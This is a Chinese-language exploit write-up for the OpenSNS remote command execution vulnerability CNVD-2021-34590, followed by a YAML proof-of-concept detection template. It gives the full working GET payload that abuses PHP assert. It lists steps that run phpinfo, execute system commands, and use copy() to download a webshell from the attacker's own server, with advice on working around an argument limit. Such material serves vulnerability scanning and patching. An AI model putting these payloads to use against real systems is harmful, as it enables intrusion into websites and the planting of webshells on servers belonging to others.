Opensns 命令执行漏洞（CNVD-2021-34590）

漏洞信息

OpenSNS开源社交建站系统,包含微博、资讯、论坛、群组、问答、微店等模块,可适应行业多元化,领先级SNS社交app软件开发公司。OpenSNS 存在远程命令执行漏洞，攻击者通过GET请求关键Payyload:/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=可以执行任意命令。

1、通过GET请求/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()，直接执行php代码，回显出phpinfo页面信息。

2、通过GET请求/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ipconfig),试图执行ipconfig命令，如果攻击成功会直接回显出ipconfig命令结果，并且出现关键字：分享至微博

3、通过GET请求/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=copy(%27http://xxx/a.txt(此处为自己公网服务器ip)%27,%27a.php%27)

此处的cmd= 只能传参1个，在使用’system’函数空格会导致执行失败，所以使用php中的copy函数直接下载webshell实现RCE

在Windows系统中，copy命令支持从HTTP URL直接下载文件，这相当于一个简单的远程文件下载功能。

截图

Opensns 命令执行漏洞（CNVD-2021-34590）结果回显证明

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

id: CNVD-2021-34590

info:
  name: OpenSNS Application ShareController.class.php 远程命令执行漏洞CNVD-2021-34590
  author: daffainfo
  severity: critical
  description: OpenSNS 存在远程命令执行漏洞，攻击者通过漏洞发送特定的请求包可以执行任意命令 icon_hash="1167011145"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/CMS%E6%BC%8F%E6%B4%9E/OpenSNS%20Application%20ShareController.class.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

rules:
  r0:
    request:
      method: GET
      path: /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)
    expression: response.status == 200 && response.body.bcontains(b'分享至微博') && response.body.bcontains(b'<img src="/Application/Weibo/Static/images/share_default.png">')
expression: r0()

参考链接